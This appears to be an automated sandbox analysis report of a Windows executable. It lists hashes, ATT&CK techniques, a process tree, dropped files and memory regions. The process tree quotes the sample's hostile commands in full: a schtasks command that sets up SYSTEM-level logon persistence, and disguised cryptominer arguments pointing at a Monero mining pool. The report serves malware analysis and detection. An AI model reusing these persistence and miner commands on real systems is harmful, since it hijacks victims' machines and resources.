e66d2dae8f47c828b769924d7bd5f08e50b18399f49dd0bc6cc6d70577972a28

Analysis

max time kernel
9s
max time network
111s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
08-01-2024 09:29

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General

Target

4b120bc4e493e86e34b1efea1a10db6c.exe
Size

64KB
MD5

4b120bc4e493e86e34b1efea1a10db6c
SHA1

25e40d98177f72e612fb2def28a6cec2af8abc00
SHA256

e66d2dae8f47c828b769924d7bd5f08e50b18399f49dd0bc6cc6d70577972a28
SHA512

a35e33ced2e68903519210e386c4251a87a65afd1d4b66346e1ebef2b1f7798823a56732869d9e363c2c28cfb1a74177ffd9caf1c09a1668b8fef4ba92d8b6fc
SSDEEP

768:FSo8zLAAVxojgGxuwmSyd2glQ6pyZCQ75v3u211ToUQH7pFMhfgJ/3bhiAMG4r8j:FJaLlOjgTLBHpyQY5WHFMF41r7frqo

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

4b120bc4e493e86e34b1efea1a10db6c.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	4b120bc4e493e86e34b1efea1a10db6c.exe

Executes dropped EXE 1 IoCs

Processes:

sihost64.exe

pid process

4804 sihost64.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

4076 schtasks.exe
1696 schtasks.exe
4632 schtasks.exe
5464 schtasks.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

4b120bc4e493e86e34b1efea1a10db6c.exe

pid process

1132 4b120bc4e493e86e34b1efea1a10db6c.exe
1132 4b120bc4e493e86e34b1efea1a10db6c.exe
1132 4b120bc4e493e86e34b1efea1a10db6c.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

4b120bc4e493e86e34b1efea1a10db6c.exe

description pid process

Token: SeDebugPrivilege 1132 4b120bc4e493e86e34b1efea1a10db6c.exe

pid	process
4804	sihost64.exe

pid	process
4076	schtasks.exe
1696	schtasks.exe
4632	schtasks.exe
5464	schtasks.exe

pid	process
1132	4b120bc4e493e86e34b1efea1a10db6c.exe
1132	4b120bc4e493e86e34b1efea1a10db6c.exe
1132	4b120bc4e493e86e34b1efea1a10db6c.exe

description	pid	process
Token: SeDebugPrivilege	1132	4b120bc4e493e86e34b1efea1a10db6c.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

4b120bc4e493e86e34b1efea1a10db6c.execmd.exe

description	pid	process	target process
PID 1132 wrote to memory of 1660	1132	4b120bc4e493e86e34b1efea1a10db6c.exe	cmd.exe
PID 1132 wrote to memory of 1660	1132	4b120bc4e493e86e34b1efea1a10db6c.exe	cmd.exe
PID 1660 wrote to memory of 4076	1660	cmd.exe	schtasks.exe
PID 1660 wrote to memory of 4076	1660	cmd.exe	schtasks.exe
PID 1132 wrote to memory of 4804	1132	4b120bc4e493e86e34b1efea1a10db6c.exe	sihost64.exe
PID 1132 wrote to memory of 4804	1132	4b120bc4e493e86e34b1efea1a10db6c.exe	sihost64.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\4b120bc4e493e86e34b1efea1a10db6c.exe
"C:\Users\Admin\AppData\Local\Temp\4b120bc4e493e86e34b1efea1a10db6c.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' /RU "SYSTEM" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1660
- C:\Users\Admin\AppData\Roaming\Services.exe
  "C:\Users\Admin\AppData\Roaming\Services.exe"
  2⤵
  PID:4844
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' /RU "SYSTEM" & exit
    3⤵
    PID:3976
- - C:\Windows\explorer.exe
    C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr.pool.minergate.com:45700 [email protected] --pass= --cpu-max-threads-hint=20 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80
    3⤵
    PID:3044
- C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
  2⤵
  - Executes dropped EXE
  PID:4804
- - C:\Users\Admin\AppData\Roaming\Services.exe
    "C:\Users\Admin\AppData\Roaming\Services.exe"
    3⤵
    PID:2252
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' /RU "SYSTEM" & exit
      4⤵
      PID:5828
  - - C:\Windows\explorer.exe
      C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr.pool.minergate.com:45700 [email protected] --pass= --cpu-max-threads-hint=20 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80
      4⤵
      PID:4480
- - C:\Users\Admin\AppData\Roaming\Services.exe
    "C:\Users\Admin\AppData\Roaming\Services.exe"
    3⤵
    PID:5600
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' /RU "SYSTEM" & exit
      4⤵
      PID:4788
  - - C:\Windows\explorer.exe
      C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr.pool.minergate.com:45700 [email protected] --pass= --cpu-max-threads-hint=20 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80
      4⤵
      PID:1440

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' /RU "SYSTEM"
1⤵
- Creates scheduled task(s)
PID:4076

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' /RU "SYSTEM"
1⤵
- Creates scheduled task(s)
PID:1696

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' /RU "SYSTEM"
1⤵
- Creates scheduled task(s)
PID:4632

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' /RU "SYSTEM"
1⤵
- Creates scheduled task(s)
PID:5464

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Services.exe.log

Filesize
1KB

MD5
ceb4947e275f4845f304cd494e65aa0c

SHA1
ac77f13a759423a94c1bcb40a08f7a48800f202b

SHA256
5b44ad3f2e7ec4999744e367f1e6e3fe9cfeaa6d4f025bd17f7ac534383e78c9

SHA512
19300aa7db232c2698bf7b5b29309606d149367e8818af03f1808e32269392f4fea0f67a9a91dde328388e3453e44ae1623fb25c42cff9f1531c97dcb2dc0c73

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\WR64.sys

Filesize
14KB

MD5
0c0195c48b6b8582fa6f6373032118da

SHA1
d25340ae8e92a6d29f599fef426a2bc1b5217299

SHA256
11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5

SHA512
ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

Filesize
12KB

MD5
24ff7a763f96b93d11e47f99678620c6

SHA1
cbbae214991f923b9f62eef19bf4a2ada083f514

SHA256
2837716c122b32c14068667611fa685b0bb23450b17912de262013d2199634ba

SHA512
2c9e0303f140d7a414f34964233c61f6f05f60a877ffd050a109ed956db9d098f0dc9afa98a949487b312630b44c88941f8df65324ac1ac355ffcc70ed69c0cb

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.log

Filesize
98KB

MD5
b02e9bc499adf8e14f68ca2178dbb140

SHA1
b99ca4228b2daf686533f39be2c79decc07e3e1f

SHA256
7161fa42a6af56de2dd5535d2e7a1db05e54191c4805aa8fd8fe0cf882c5bf9a

SHA512
da2f3745165bc0060df992e13949b6cc0bfa1868124fc24531f19b53ed63429ab751c9fd0ab73d933e0f241ebc66a95c9ae1667d4e4e82af8e2d1d0c6dceb110

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.log

Filesize
44KB

MD5
8dd7325927dadc0671891968133e5745

SHA1
f787c2b9191a576f1acc8f950b48841ffba7868e

SHA256
bbfc4bf7f7e55a008b4eb6d59ac84f9b97b2298a8963c36e0d13f4acd92360d4

SHA512
78777b8aa66197886463bc932e7ac6fb0b17ac1050d67215ac79e759141cf34c460619c8f83435935543a5049f7a1be6936b53d079a94f7909e5ed28e8e12806

Download Submit
C:\Users\Admin\AppData\Roaming\Services.exe

Filesize
64KB

MD5
4b120bc4e493e86e34b1efea1a10db6c

SHA1
25e40d98177f72e612fb2def28a6cec2af8abc00

SHA256
e66d2dae8f47c828b769924d7bd5f08e50b18399f49dd0bc6cc6d70577972a28

SHA512
a35e33ced2e68903519210e386c4251a87a65afd1d4b66346e1ebef2b1f7798823a56732869d9e363c2c28cfb1a74177ffd9caf1c09a1668b8fef4ba92d8b6fc

Download Submit
memory/1132-0-0x0000000000CD0000-0x0000000000CE4000-memory.dmp

Filesize
80KB

Download
memory/1132-1-0x0000000001680000-0x0000000001690000-memory.dmp

Filesize
64KB

Download
memory/1132-3-0x000000001C850000-0x000000001C860000-memory.dmp

Filesize
64KB

Download
memory/1132-2-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download
memory/1132-31-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download
memory/1440-90-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1440-87-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1440-89-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1440-88-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1440-86-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1440-81-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1440-85-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1440-82-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1440-91-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2252-37-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download
memory/2252-42-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download
memory/2252-68-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download
memory/3044-50-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3044-49-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3044-56-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3044-58-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3044-53-0x00000000024B0000-0x00000000024D0000-memory.dmp

Filesize
128KB

Download
memory/3044-60-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3044-52-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3044-59-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3044-57-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3044-76-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3044-55-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4480-65-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4480-74-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4480-75-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4480-73-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4480-70-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4480-69-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4480-66-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4480-77-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4480-72-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4804-28-0x0000000001940000-0x0000000001946000-memory.dmp

Filesize
24KB

Download
memory/4804-38-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download
memory/4804-30-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download
memory/4804-25-0x0000000000B80000-0x0000000000B88000-memory.dmp

Filesize
32KB

Download
memory/4844-48-0x000000001BFB0000-0x000000001BFB6000-memory.dmp

Filesize
24KB

Download
memory/4844-39-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download
memory/4844-33-0x000000001DE00000-0x000000001DE12000-memory.dmp

Filesize
72KB

Download
memory/4844-54-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download
memory/4844-32-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download
memory/5600-44-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download
memory/5600-84-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download
memory/5600-71-0x00007FFA0F140000-0x00007FFA0FC01000-memory.dmp

Filesize
10.8MB

Download